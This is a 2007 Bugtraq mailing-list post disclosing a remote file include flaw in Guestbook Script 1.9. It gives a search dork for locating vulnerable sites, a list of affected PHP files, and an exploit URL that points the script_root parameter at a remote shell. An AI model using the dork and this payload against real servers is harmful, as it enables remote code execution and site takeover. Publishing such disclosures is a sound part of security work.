Guestbook Script 1.9 RFI

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Guestbook Script 1.9 RFI
From: Ma$tEr-0F-De$a$t0r@xxxxxxxxxxx
Date: 8 Aug 2007 03:22:52 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Guestbook Script 1.9 Remote File Include 
Dork:"Guestbook Script 1.9"
Vuln Code:
/admin/database.php
/admin/entries.php
/admin/index.php
/admin/logout.php
/admin/settings.php
/delete.php
/edit.php
/inc/common.inc.php
Exploit:
www.server.com/path/file.php?script_root=Sh3ll
=====================

Prev by Date: [USN-496-2] poppler vulnerability
Next by Date: Cisco Security Advisory: Cisco IOS Secure Copy Authorization Bypass Vulnerability
Previous by thread: [USN-496-2] poppler vulnerability
Next by thread: Re: Guestbook Script 1.9 RFI
Index(es):
- Date
- Thread